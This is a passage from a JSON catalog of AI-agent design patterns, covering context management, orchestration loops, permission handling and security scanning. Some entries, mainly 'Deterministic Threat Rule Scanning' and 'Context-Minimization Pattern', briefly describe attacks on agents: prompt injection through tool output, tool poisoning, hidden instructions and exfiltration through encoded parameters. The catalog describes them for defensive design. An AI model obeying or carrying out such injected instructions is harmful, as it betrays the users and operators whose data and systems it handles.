    "excerpt": "\n## Problem\nModels like Claude Sonnet 4.5 exhibit \"context anxiety\"—they become aware of approaching context window limits and proactively summarize progress or make decisive moves to close tasks, even when sufficient context remains. This leads to:\n\n- Premature task completion and shortcuts\n- Incomplete work despite having adequate context\n- Underestimation of remaining token capacity (consistently incorrect estimates)\n- Self-imposed pressure to \"wrap up\" rather than continue working"
  },
  {
    "title": "Context Window Auto-Compaction",
    "status": "validated-in-production",
    "authors": [
      "Clawdbot Contributors"
    ],
    "based_on": [
      "Clawdbot Implementation (https://github.com/clawdbot/clawdbot)",
      "Pi Coding Agent (@mariozechner/pi-coding-agent)",
      "Michael Bolin (OpenAI Codex)"
    ],
    "category": "Context & Memory",
    "source": "https://github.com/clawdbot/clawdbot/blob/main/src/agents/pi-embedded-runner/compact.ts",
    "tags": [
      "context-management",
      "compaction",
      "overflow-recovery",
      "token-estimation",
      "transcript-validation",
      "api-compaction"
    ],
    "slug": "context-window-auto-compaction",
    "id": "context-window-auto-compaction",
    "summary": "Catches context overflow errors, compacts and validates the transcript with a reserve token floor, and retries the request automatically",
    "signals": [
      "Long sessions fail with context_length_exceeded errors",
      "Operators truncate transcripts by hand",
      "Agent supports multiple model providers with different transcript rules"
    ],
    "anti_signals": [
      "Short sessions that never approach the context limit",
      "Summary detail loss is not acceptable and manual curation is required"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nContext overflow is a silent killer of agent reliability. When accumulated conversation history exceeds the model's context window:\n\n- **API errors**: Requests fail with `context_length_exceeded` or similar errors\n- **Manual intervention**: Operators must truncate transcripts, losing valuable context\n- **Retry complexity**: Detecting overflow and retrying with compaction is error-prone\n\nAgents need automatic compaction that preserves essential information while staying within token limits, with model-specific validation and reserve token floors to prevent immediate re-overflow."
  },
  {
    "title": "Context-Minimization Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Luca Beurer-Kellner et al. (2025)"
    ],
    "category": "Context & Memory",
    "source": "https://arxiv.org/abs/2506.08837",
    "tags": [
      "context-hygiene",
      "taint-removal",
      "prompt-injection"
    ],
    "slug": "context-minimization-pattern",
    "id": "context-minimization-pattern",
    "summary": "Removes untrusted user text and tool output from context after it becomes a safe structured artifact, so later steps see only trusted data",
    "signals": [
      "Multi-turn flows where initial text must not steer later steps",
      "Untrusted input may contain prompt injection",
      "Data-minimization rules such as HIPAA or GDPR apply"
    ],
    "anti_signals": [
      "Later turns refer back to earlier user wording",
      "Conversational nuance matters more than injection risk"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nIn long agent sessions, raw user text and tool outputs often remain in-context long after they are needed. If those tokens include adversarial instructions, they can silently bias later reasoning steps, even when the current step is unrelated. This creates delayed prompt-injection risk and unnecessary context bloat."
  },
  {
    "title": "Continuous Autonomous Task Loop Pattern",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Internal Practice"
    ],
    "category": "Orchestration & Control",
    "source": "https://gist.github.com/nibzard/a97ef0a1919328bcbc6a224a5d2cfc78",
    "tags": [
      "autonomous-execution",
      "task-loop",
      "rate-limiting",
      "git-automation",
      "cli-driven",
      "stream-processing"
    ],
    "slug": "continuous-autonomous-task-loop-pattern",
    "id": "continuous-autonomous-task-loop-pattern",
    "summary": "Runs a loop where subagents pick the next task from a todo file, execute it in fresh context, commit it, and back off on rate limits",
    "signals": [
      "A todo file holds discrete, well-defined tasks",
      "Manual task selection and Git commits slow down work",
      "Rate limits interrupt long agent sessions"
    ],
    "anti_signals": [
      "Tasks are complex or poorly defined",
      "Each task decision needs human oversight",
      "Elevated execution permissions are not allowed"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nTraditional development workflows require constant human intervention for task management:\n\n- **Manual Task Selection**: Developers spend time deciding what to work on next from todo lists\n- **Context Switching Overhead**: Moving between different types of tasks interrupts flow state\n- **Rate Limit Interruptions**: API rate limits break development momentum and require manual waiting\n- **Repetitive Git Operations**: Each task completion requires manual staging, committing, and status checking\n- **Error Recovery**: Failed tasks need manual diagnosis and restart\n\nThis manual orchestration reduces overall productivity and prevents developers from focusing on higher-level problem solving."
  },
  {
    "title": "CriticGPT-Style Code Review",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "OpenAI"
    ],
    "category": "Reliability & Eval",
    "source": "https://openai.com/research/criticgpt",
    "tags": [
      "evaluation",
      "code-review",
      "critique",
      "quality-assurance",
      "bug-detection",
      "gpt-4"
    ],
    "slug": "criticgpt-style-evaluation",
    "id": "criticgpt-style-code-review",
    "summary": "Runs a specialized critic model over generated code to find bugs, security flaws, and quality issues, and feeds critical findings back for regeneration",
    "signals": [
      "High volume of AI-generated code overwhelms human reviewers",
      "Security-sensitive code needs vulnerability checks before merge",
      "CI/CD pipelines need automated pre-commit review"
    ],
    "anti_signals": [
      "Review depends on full business context only humans have",
      "You cannot afford human verification of false positives",
      "Low commit volume where human review is sufficient"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAs AI-generated code becomes more sophisticated, it becomes increasingly difficult for human reviewers to catch subtle bugs, security issues, or quality problems. Traditional code review processes may miss issues in AI-generated code because:\n\n- The volume of generated code can overwhelm human reviewers\n- Subtle bugs may appear correct at first glance\n- Security vulnerabilities may be non-obvious\n- Style and best practice violations may be inconsistent"
  },
  {
    "title": "Cross-Agent Lesson Sharing via Git",
    "status": "validated-in-production",
    "authors": [
      "MisakaNet community"
    ],
    "based_on": [
      "MisakaNet",
      "GitHub Issues"
    ],
    "category": "Context & Memory",
    "source": "https://github.com/Ikalus1988/MisakaNet",
    "tags": [
      "distributed-memory",
      "knowledge-sharing",
      "git-based",
      "swarm-memory",
      "lessons-learned"
    ],
    "slug": "cross-agent-lesson-sharing",
    "id": "cross-agent-lesson-sharing-via-git",
    "summary": "Agents write solved problems as markdown lessons in a shared Git repo and search them before debugging, with GitHub Issues as the coordination layer",
    "signals": [
      "Several agents hit the same environment or tooling problems independently",
      "Agents need shared knowledge that works offline",
      "You want to avoid infrastructure beyond Git and GitHub"
    ],
    "anti_signals": [
      "A single agent with no fleet to share lessons with",
      "No one maintains lessons, so stale entries would mislead agents"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nAI agents working in isolation waste hours debugging issues that other agents have already solved. ChromaDB crashes on NTFS, pip install fails on WSL encoding, Feishu webhook URLs get committed to git — each agent discovers these independently. There is no mechanism for one agent's debugging session to benefit the entire fleet."
  },
  {
    "title": "Cross-Cycle Consensus Relay",
    "status": "emerging",
    "authors": [
      "Nikita Dmitrieff (@NikitaDmitrieff)"
    ],
    "based_on": [
      "auto-co autonomous AI company framework"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/NikitaDmitrieff/auto-co-meta",
    "tags": [
      "multi-agent",
      "state-management",
      "persistence",
      "long-running-tasks",
      "orchestration",
      "autonomous-loops"
    ],
    "slug": "cross-cycle-consensus-relay",
    "id": "cross-cycle-consensus-relay",
    "summary": "Each loop cycle reads a structured relay document, does its work, and atomically writes back decisions, open questions, and the single next action",
    "signals": [
      "Autonomous agent loops run across many cycles, hours, or days",
      "Context and decisions must survive crashes and restarts",
      "Agents re-debate settled questions or stall without shipping"
    ],
    "anti_signals": [
      "High-frequency loops faster than about one cycle per minute",
      "Single-session tasks that finish in one cycle",
      "State would include secrets that must not go in a file"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAutonomous multi-agent loops that run across many cycles (minutes, hours, or days) need a way to reliably transfer context, decisions, and next actions between cycles. In-memory state is lost on crash or restart. Generic checkpoint files don't encode the *structured reasoning* — what was decided, why, and what comes next — that agents need to make good decisions in subsequent cycles.\n\nWithout a structured relay mechanism, autonomous loops suffer from:\n- **Drift**: each cycle restarts without awareness of prior decisions\n- **Repetition**: agents re-debate already-settled questions\n- **Stalls**: no convergence signal — agents loop indefinitely without shipping"
  },
  {
    "title": "Cross-Domain Agent Conflict Resolution",
    "status": "emerging",
    "authors": [
      "Narasimhan Ramani (@Narasimhan-Ramani)"
    ],
    "based_on": [
      "Open Policy Agent policy-as-code",
      "Multi-objective decision analysis"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/open-policy-agent/opa",
    "tags": [
      "multi-agent",
      "conflict-resolution",
      "policy-as-code",
      "governance",
      "orchestration",
      "drift-detection"
    ],
    "slug": "cross-domain-agent-conflict-resolution",
    "id": "cross-domain-agent-conflict-resolution",
    "summary": "A coordination layer that cross-references recommendations from independent domain agents, detects conflicts on shared resources, and resolves them through policy-as-code.",
    "signals": [
      "Several domain agents assess or act on the same resources",
      "Conflicting recommendations have financial, operational, or compliance cost",
      "You need an auditable record of why one recommendation won"
    ],
    "anti_signals": [
      "Only one agent acts on the resources",
      "Agents do not share a common resource identifier scheme"
    ],
    "updated_at": "2026-08-21",
    "excerpt": "\n## Problem\nTeams increasingly run several independent, domain-specific agents against the\nsame environment or dataset — e.g., a cost-optimization agent, a reliability\nagent, a compliance agent, and a performance agent all assessing the same\ncloud infrastructure. Each agent is individually competent within its domain,\nbut none of them are aware the others exist.\n\nThis produces silent, unresolved conflicts: one agent recommends deallocating\nan idle resource to save cost, while another recommends adding redundancy to\nthe same resource for reliability, and a third recommends scaling it up for\nperformance. If recommendations are acted on independently (e.g., via\nauto-remediation), the result is thrashing, wasted work, or actively harmful\nchanges — with no record of *why* the conflict happened or *which*\nrecommendation should have won."
  },
  {
    "title": "Cross-Protocol Agent Discovery",
    "status": "emerging",
    "authors": [
      "Global Chat (@globalchatads)"
    ],
    "based_on": [
      "MCP Registry Protocol (Anthropic)",
      "agents.txt (Agent Communication Description Protocol)",
      "Google A2A Protocol"
    ],
    "category": "Tool Use & Environment",
    "source": "https://modelcontextprotocol.io",
    "tags": [
      "agent-discovery",
      "mcp",
      "registry",
      "interoperability",
      "protocol-agnostic",
      "a2a",
      "agents-txt"
    ],
    "slug": "cross-protocol-agent-discovery",
    "id": "cross-protocol-agent-discovery",
    "summary": "Aggregate agent metadata across fragmented registries and protocols into a unified, protocol-agnostic discovery layer.",
    "signals": [
      "You need to find agents across MCP, A2A, and agents.txt registries",
      "No single registry covers the protocols your platform uses",
      "Orchestration routes tasks to agents across protocol boundaries"
    ],
    "anti_signals": [
      "All needed agents are in one known registry",
      "You need protocol-specific metadata that normalization would drop",
      "You need a trust signal, since discovery does not verify agent quality"
    ],
    "updated_at": "2026-05-07",
    "excerpt": "\n## Problem\nThe AI agent ecosystem is fragmented across multiple incompatible discovery protocols:\n\n- **MCP (Model Context Protocol)**: Multiple competing registries (mcp.so, Glama.ai, Smithery, PulseMCP) each with partial coverage and no cross-referencing\n- **agents.txt**: A convention for advertising agent capabilities via a well-known file, similar to robots.txt\n- **Google A2A (Agent-to-Agent)**: Google's protocol for inter-agent communication and discovery\n- **ACDP (Agent Communication Description Protocol)**: Standardized agent capability descriptions\n- **Platform-specific directories**: OpenAI GPT Store, Claude integrations, and others each maintain their own listings\n\nNo single registry covers all protocols. An agent listed in an MCP registry won't appear in A2A directories, and vice versa. This creates a discovery problem analogous to early web search before meta-search engines."
  },
  {
    "title": "Cryptographic Governance Audit Trail",
    "status": "emerging",
    "authors": [
      "jagmarques (@jagmarques)"
    ],
    "based_on": [
      "SCITT (Supply Chain Integrity, Transparency and Trust)",
      "OWASP Agentic Top 10"
    ],
    "category": "Security & Safety",
    "source": "https://github.com/jagmarques/asqav-sdk",
    "tags": [
      "governance",
      "audit-trail",
      "compliance",
      "cryptographic-signing",
      "policy-enforcement",
      "eu-ai-act",
      "owasp"
    ],
    "slug": "cryptographic-governance-audit-trail",
    "id": "cryptographic-governance-audit-trail",
    "summary": "Middleware checks each tool call against a policy file, then signs a receipt of the action with ML-DSA and appends it to a tamper-evident chain",
    "signals": [
      "Regulated environment such as finance, healthcare, or EU AI Act",
      "You must prove what an agent did and whether it stayed within policy",
      "Agent framework supports tool-calling middleware"
    ],
    "anti_signals": [
      "Per-call signing latency is not acceptable",
      "You cannot manage signing keys or store receipts that grow with activity"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nWhen AI agents execute tool calls autonomously, there is no tamper-evident record of what happened. Traditional logging is mutable - logs can be altered after the fact. In regulated environments (finance, healthcare, EU AI Act), teams need to prove exactly what an agent did, when, and whether it operated within policy. Without cryptographic guarantees, audit trails have no legal or compliance weight."
  },
  {
    "title": "Curated Code Context Window",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anonymous Speaker (Open Source Agent RL Talk)",
      "Will Brown (Prime Intellect Talk)",
      "Thorsten Ball"
    ],
    "category": "Context & Memory",
    "source": "https://www.youtube.com/watch?v=Xkwok_XXQgw",
    "tags": [
      "context-management",
      "code-agent",
      "file-selection",
      "noise-reduction"
    ],
    "slug": "curated-code-context-window",
    "id": "curated-code-context-window",
    "summary": "A search subagent finds the few relevant files for a task and injects only top snippets or summaries into the main coding agent's context",
    "signals": [
      "Coding agent works in a large repository",
      "Loading all files adds noise and inflates token usage",
      "Long-horizon tasks risk blowing up context length"
    ],
    "anti_signals": [
      "Small codebase that fits in context",
      "A frequently changing code index cannot be kept fresh"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nLoading **all source files** or dumping entire repositories into the agent's context overwhelms the model, introduces noise, and slows inference. Coding agents need to focus on **only the most relevant modules** to efficiently reason about changes or generate new functionality.\n\n- Including every file biases the agent with irrelevant code; it \"loses coherence\" over large contexts.\n- Large contexts inflate token usage, slowing down multi-turn RL training."
  },
  {
    "title": "Curated File Context Window",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Internal AI Dev Team"
    ],
    "category": "Context & Memory",
    "source": "https://docs.anthropic.com/en/docs/claude-code/common-workflows",
    "tags": [
      "code-context",
      "file-scope",
      "relevance",
      "memory-management"
    ],
    "slug": "curated-file-context-window",
    "id": "curated-file-context-window",
    "summary": "Loads only the primary task files into the main context and has a search sub-agent rank and summarize secondary files before adding them",
    "signals": [
      "Task touches a few files in a large repository",
      "Dumping all files exceeds token limits or distracts the agent",
      "A search tool such as ripgrep or AST traversal is available"
    ],
    "anti_signals": [
      "Small repository where all files fit in context",
      "Missing a file due to weak ranking would be costly"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nA coding agent often needs to reason about multiple source files, but dumping **all** files into its prompt:\n\n- Quickly exceeds token limits or inference budget.\n- Introduces noise: unrelated files (e.g., tests for other modules, assets, docs) distract the agent.\n- Makes the agent's output slower and less focused on the immediate coding task."
  },
  {
    "title": "Custom Sandboxed Background Agent",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Ramp (Inspect Agent)",
      "Zach Bruggeman, Jason Quense, Rahul Sengottuvelu (Ramp)"
    ],
    "category": "Orchestration & Control",
    "source": "https://engineering.ramp.com/post/why-we-built-our-background-agent",
    "tags": [
      "background-agent",
      "sandboxed",
      "model-agnostic",
      "real-time",
      "websocket",
      "custom-infra",
      "iterative"
    ],
    "slug": "custom-sandboxed-background-agent",
    "id": "custom-sandboxed-background-agent",
    "summary": "Builds an in-house background coding agent that runs in sandboxed dev environments, streams progress over WebSocket, and iterates on compiler and test feedback",
    "signals": [
      "Off-the-shelf agents cannot integrate with internal tools, private repos, or workflows",
      "You need model-agnostic infrastructure to switch providers",
      "Developers need real-time visibility into agent progress"
    ],
    "anti_signals": [
      "Off-the-shelf agents already cover your generic tasks",
      "No devops capacity to build and maintain sandbox and WebSocket infrastructure"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nOff-the-shelf coding agents (e.g., Devin, Claude Code, Cursor) are either:\n\n- **Too generic** - Not deeply integrated with company-specific dev environments, tools, and workflows\n- **Vendor-locked** - Tightly coupled to one model provider, limiting flexibility and creating dependency\n- **Limited context** - Cannot access internal infrastructure, private repos, or company-specific tooling\n\nCompanies need coding agents that:\n\n- Work within their specific development environment\n- Can iterate with closed feedback loops (compiler, linter, tests)\n- Provide real-time visibility into agent progress\n- Are model-agnostic to switch providers as needed"
  },
  {
    "title": "Dead-Man's Switch for Scheduled Agent Jobs",
    "status": "validated-in-production",
    "authors": [
      "James Ross (@jimy-r)"
    ],
    "based_on": [
      "Healthchecks.io-style cron monitoring (inverted to success-sentinel checking)"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/jimy-r/agent-workspace-architecture/blob/main/PATTERNS.md",
    "tags": [
      "scheduled-agents",
      "silent-failure",
      "watchdog",
      "observability",
      "automation"
    ],
    "slug": "dead-mans-switch-for-scheduled-agent-jobs",
    "id": "dead-mans-switch-for-scheduled-agent-jobs",
    "summary": "Each scheduled job writes a success sentinel to its log, and a separate checker files a task when the sentinel is missing or stale",
    "signals": [
      "Two or more scheduled agent jobs run unattended",
      "Jobs can fail silently from expired tokens, scheduler errors, or permission changes",
      "Durable per-run logs exist"
    ],
    "anti_signals": [
      "Jobs run but produce wrong output, which a sentinel does not detect",
      "Only on-demand jobs with no regular cadence"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nAn agent workspace accumulates scheduled jobs: a morning digest, a background task manager, a weekly self-audit, a memory consolidation pass. These fail silently. A scheduler misconfiguration, an expired OAuth token, or a permission regression doesn't throw an error anywhere a human looks — the job's logs simply stop appearing. Nothing watches for absence, so a broken daily job can stay broken for weeks before anyone notices the output is missing."
  },
  {
    "title": "Declarative Multi-Agent Topology Definition",
    "status": "emerging",
    "authors": [
      "Nadav Naveh (@nadavnaveh)"
    ],
    "based_on": [
      "AgenTopology (reference implementation)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/agentopology/agentopology",
    "tags": [
      "multi-agent",
      "topology",
      "declarative",
      "orchestration",
      "scaffolding",
      "pipeline",
      "fan-out",
      "supervisor",
      "gate",
      "cross-platform"
    ],
    "slug": "declarative-multi-agent-topology-definition",
    "id": "declarative-multi-agent-topology-definition",
    "summary": "Define multi-agent systems declaratively in a single topology file — agents, flows, gates, hooks, group chats — then compile to platform-specific configurations for any agentic framework.",
    "signals": [
      "The same multi-agent topology must run on more than one framework",
      "The agent graph is hidden in scattered glue code",
      "Teams repeat pipeline, fan-out, or gate scaffolding in each project"
    ],
    "anti_signals": [
      "You need platform-specific features the declarative layer cannot express",
      "A single simple agent with no multi-agent topology"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nMulti-agent systems today are wired imperatively: each framework has its own SDK, config format, and orchestration primitives. This creates several problems:\n\n- **Vendor lock-in**: A supervisor topology built for one framework must be rewritten from scratch to run on another.\n- **Implicit topology**: The agent graph — who talks to whom, what gates block progress, which flows fan out — is buried in code rather than visible at a glance.\n- **No single source of truth**: When the topology lives across scattered config files, prompts, and glue code, refactoring or auditing the system requires reading everything.\n- **Repeated scaffolding work**: Teams re-implement the same patterns (pipeline, fan-out, debate, human-in-the-loop gate) in every new project and every new framework."
  },
  {
    "title": "Democratization of Tooling via Agents",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Jacob Jackson (Cursor)",
      "Alex Albert (Anthropic)"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "no-code",
      "low-code",
      "citizen-developer",
      "tool-creation",
      "business-users",
      "automation",
      "custom-software"
    ],
    "slug": "democratization-of-tooling-via-agents",
    "id": "democratization-of-tooling-via-agents",
    "summary": "Non-programmers describe a tool in natural language and iterate with an AI agent that generates and fixes the code for dashboards, scripts, or small apps",
    "signals": [
      "Domain experts need custom tools but cannot program",
      "Engineering is a bottleneck for small internal tools",
      "Destructive operations can go through an approval workflow"
    ],
    "anti_signals": [
      "The tool goes to production where users cannot detect reliability or security issues",
      "No guardrails for quality and security are in place"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nMany individuals in non-software engineering roles (e.g., sales, marketing, operations, communications) could benefit from custom software tools, scripts, or dashboards tailored to their specific workflows, but lack the traditional programming skills to build them."
  },
  {
    "title": "Denial Tracking & Permission Escalation",
    "status": "emerging",
    "authors": [
      "Murilo Scigliano (@muriloscigliano)"
    ],
    "based_on": [
      "AI Agent Patterns Playbook (Pattern 70)"
    ],
    "category": "Security & Safety",
    "source": "https://github.com/muriloscigliano/ai-playbook",
    "tags": [
      "permissions",
      "denial-tracking",
      "escalation",
      "background-agents",
      "non-interactive",
      "safety"
    ],
    "slug": "denial-tracking-permission-escalation",
    "id": "denial-tracking-permission-escalation",
    "summary": "Track repeated tool denials and auto-escalate to blanket permission prompts or fallback strategies, preventing wasted iterations in non-interactive contexts.",
    "maturity": "maturing",
    "complexity": "low",
    "effort": "hours",
    "impact": "high",
    "signals": [
      "Agent runs in non-interactive or background mode",
      "Permission prompts are auto-denied by default",
      "Agent retries blocked tools without progress"
    ],
    "anti_signals": [
      "All tools are pre-authorized",
      "Agent runs only in interactive mode with attentive user"
    ],
    "prerequisites": [
      "Permission system with per-tool allow/deny",
      "Tool execution framework with denial callbacks"
    ],
    "related": [
      "human-in-loop-approval-framework",
      "hook-based-safety-guard-rails",
      "sandboxed-tool-authorization"
    ],
    "domains": [
      "coding",
      "ops",
      "automation"
    ],
    "updated_at": "2026-04-03",
    "excerpt": "\n## Problem\nWhen agents run in non-interactive contexts (background jobs, CI/CD pipelines, headless mode), every permission prompt is typically auto-denied. If the agent keeps attempting the same blocked tool, it wastes its iteration budget retrying an action that will never succeed. This leads to silent failures, stalled tasks, and burned compute with no progress.\n\nEven in interactive mode, a user who repeatedly denies a specific tool creates the same loop: the agent tries, gets denied, tries again with a slightly different argument, and gets denied again."
  },
  {
    "title": "Design-Time File Partition as Concurrency Control",
    "status": "emerging",
    "authors": [
      "Jed Arden (@jedarden)"
    ],
    "based_on": [
      "Jed Arden (@jedarden), NEEDLE ADR-015"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/jedarden/NEEDLE/blob/main/docs/adr/015-concurrent-same-repo-worker-isolation.md",
    "tags": [
      "multi-agent",
      "concurrency",
      "decomposition",
      "task-queue",
      "shared-checkout",
      "headless"
    ],
    "slug": "design-time-file-partition",
    "id": "design-time-file-partition-as-concurrency-control",
    "summary": "Each task declares every path it will write; overlapping tasks get a blocking dependency so only disjoint work runs at once on a shared checkout",
    "maturity": "early",
    "complexity": "low",
    "effort": "hours",
    "impact": "medium",
    "signals": [
      "Several headless agents work one repository from a shared checkout",
      "Per-agent worktrees or clones are too expensive in disk or build cache",
      "Collisions show up as clobbered files, duplicate fixes, or broken generated artifacts"
    ],
    "anti_signals": [
      "One agent at a time, or agents on unrelated repositories",
      "Tasks cannot be scoped to a predictable set of paths before they start"
    ],
    "prerequisites": [
      "A task queue that supports blocking dependencies and atomic claims",
      "A decomposition step that produces tasks with explicit path ownership"
    ],
    "related": [
      "lane-based-execution-queueing",
      "workspace-native-multi-agent-orchestration",
      "board-mediated-inter-agent-coordination",
      "deterministic-zero-llm-orchestration"
    ],
    "domains": [
      "coding",
      "ops"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nSeveral headless coding agents working the same repository collide on files. The usual fixes are a per-agent worktree (disk and build-cache duplication, merge-back debt) or a runtime coordination channel between agents (more moving parts, and agents negotiating while tokens burn). Neither addresses the actual failure: two tasks that were never safe to run concurrently were both marked ready."
  },
  {
    "title": "Deterministic Grader in the Loop",
    "status": "emerging",
    "authors": [
      "parweb (@parweb)"
    ],
    "category": "Feedback Loops",
    "source": "https://github.com/parweb/mcp-ai-slop-checker",
    "tags": [
      "feedback-loop",
      "self-critique",
      "evaluation",
      "determinism",
      "llm-as-judge",
      "reproducibility"
    ],
    "slug": "deterministic-grader-in-the-loop",
    "id": "deterministic-grader-in-the-loop",
    "summary": "Replace the LLM-as-judge in an agent's self-review loop with a deterministic scorer that returns the raw counts behind each sub-score, so the agent has something specific to fix.",
    "complexity": "low",
    "effort": "hours",
    "impact": "medium",
    "signals": [
      "The agent must judge a quality attribute of its own output before shipping it",
      "You want the same input to always produce the same verdict",
      "You want the verdict to be assertable in a test or CI gate"
    ],
    "anti_signals": [
      "The quality attribute genuinely requires semantic judgement (factual correctness, tone-for-this-audience)",
      "You have no way to enumerate observable features of 'good'"
    ],
    "updated_at": "2026-08-21",
    "excerpt": "\n## Problem\nAn agent that produces text is routinely asked to judge that text before shipping it: *is this argument sound, is this copy generic, does this read as machine-written?* The default move is to ask a model — LLM-as-judge, or an off-the-shelf classifier.\n\nBoth fail the agent in the same specific way: **the verdict is not actionable and not reproducible.**\n\n- A classifier returns `87% likely AI-generated`. There is no next move encoded in that number. The agent's only recourse is to rewrite blindly and re-roll.\n- An LLM judge returns a different score for the same input across runs, and drifts with model versions, so it cannot gate a pipeline or be asserted in a test.\n- Both make an *authorship* claim from *style* evidence, and are wrong in both directions.\n\nThe loop stalls because the feedback has no gradient."
  },
  {
    "title": "Deterministic Security Scanning Build Loop",
    "status": "proposed",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Geoffrey Huntley"
    ],
    "category": "Security & Safety",
    "source": "https://ghuntley.com/secure-codegen/",
    "tags": [
      "security",
      "deterministic",
      "build-loop",
      "backpressure",
      "static-analysis",
      "supply-chain"
    ],
    "slug": "deterministic-security-scanning-build-loop",
    "id": "deterministic-security-scanning-build-loop",
    "summary": "Adds SAST, SCA, and secret scanners to the build target that the agent must run after each change, so scanner failures force the agent to fix the code",
    "signals": [
      "Coding agents generate code that must meet security rules",
      "Prompt rules or MCP security tools are the only security control",
      "You already have security scanning tools for CI"
    ],
    "anti_signals": [
      "Security scanners are too slow for a per-change inner loop",
      "No capacity to review false positives from scanners"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nNon-deterministic approaches to security in AI code generation (Cursor rules, MCP security tools) are fundamentally flawed because security requires absolute determinism - code is either secure or not secure, with no grey area. These approaches are merely suggestions to the LLM that may or may not be followed consistently."
  },
  {
    "title": "Deterministic Threat Rule Scanning",
    "status": "emerging",
    "authors": [
      "eeee2345 (@eeee2345)"
    ],
    "based_on": [
      "Agent Threat Rules (open-source rule library)",
      "OWASP Agentic Top 10"
    ],
    "category": "Security & Safety",
    "source": "https://github.com/panguard-ai/agent-threat-rules",
    "tags": [
      "security",
      "threat-detection",
      "regex",
      "deterministic",
      "prompt-injection",
      "tool-poisoning",
      "mcp",
      "agent-safety"
    ],
    "slug": "deterministic-threat-rule-scanning",
    "id": "deterministic-threat-rule-scanning",
    "summary": "Apply deterministic regex rules as a first-pass security layer to detect known threat patterns in AI agent tool calls and skill definitions.",
    "signals": [
      "Agent consumes tool descriptions, responses, or skill files from external MCP servers",
      "You need a detection layer that prompt injection cannot bypass",
      "You want to reserve LLM security review for ambiguous cases"
    ],
    "anti_signals": [
      "You need detection of novel attacks without rule updates",
      "No one can maintain the rule library as threats change"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nAI agents that invoke external tools (MCP servers, function calls, skill files) are exposed to a class of attacks where malicious content is embedded in tool descriptions, responses, or skill definitions. These attacks include prompt injection via tool output, data exfiltration through encoded parameters, privilege escalation via hidden instructions, and tool poisoning through manipulated descriptions.\n\nLLM-based detection alone is unreliable for these threats: adversaries can craft payloads that exploit the same reasoning flexibility that makes LLMs useful. Security requires a deterministic baseline that cannot be bypassed by clever prompt engineering."
  },
  {
    "title": "Deterministic Zero-LLM Orchestration",
    "status": "validated-in-production",
    "authors": [
      "Alex Chernysh (@chernistry)"
    ],
    "based_on": [],
    "category": "Orchestration & Control",
    "source": "https://github.com/chernistry/bernstein",
    "tags": [
      "orchestration",
      "multi-agent",
      "parallel-execution",
      "deterministic",
      "test-driven",
      "zero-llm-overhead"
    ],
    "slug": "deterministic-zero-llm-orchestration",
    "id": "deterministic-zero-llm-orchestration",
    "summary": "A deterministic code orchestrator splits goals, runs parallel coding agents, verifies with tests, and commits, spending no LLM tokens on coordination",
    "signals": [
      "Multi-agent coding system spends tokens on routing and coordination",
      "Project structure is well defined enough for rule-based planning",
      "You want the same goal to produce the same task breakdown"
    ],
    "anti_signals": [
      "Ambiguous goals need LLM judgment to split",
      "Novel task types need adaptive routing"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nMulti-agent coding systems typically spend LLM tokens on coordination — deciding which agent works on what, routing tasks, merging results. This coordination overhead adds cost, latency, and non-determinism where none is needed."
  },
  {
    "title": "Dev Tooling Assumptions Reset",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "AMP (Thorsten Ball, Quinn Slack)"
    ],
    "category": "UX & Collaboration",
    "source": "https://www.youtube.com/watch?v=2wjnV6F2arc",
    "tags": [
      "dev-tools",
      "assumptions",
      "github",
      "tickets",
      "code-review",
      "tooling",
      "agent-workflows",
      "paradigm-shift"
    ],
    "slug": "dev-tooling-assumptions-reset",
    "id": "dev-tooling-assumptions-reset",
    "summary": "Audits dev tools for human-effort assumptions and replaces tickets, PR ceremony, and sprints with immediate agent dispatch, variations, and automated tests",
    "signals": [
      "Agents write most of the code (50% or more)",
      "Codebase has good automated testing",
      "Tickets, reviews, or sprint queues delay work agents could start now"
    ],
    "anti_signals": [
      "Humans still write most code",
      "Team or leadership is not committed to autonomous agents",
      "Weak automated tests cannot replace human review"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nTraditional development tools are built on assumptions that no longer hold: that humans write code with effort and expertise, that changes are scarce and valuable, that linear workflows make sense. When agents write most code, these tools create bottlenecks and friction. Academic research confirms this is a paradigm shift requiring ecosystem-level rethinking, not incremental adjustments."
  },
  {
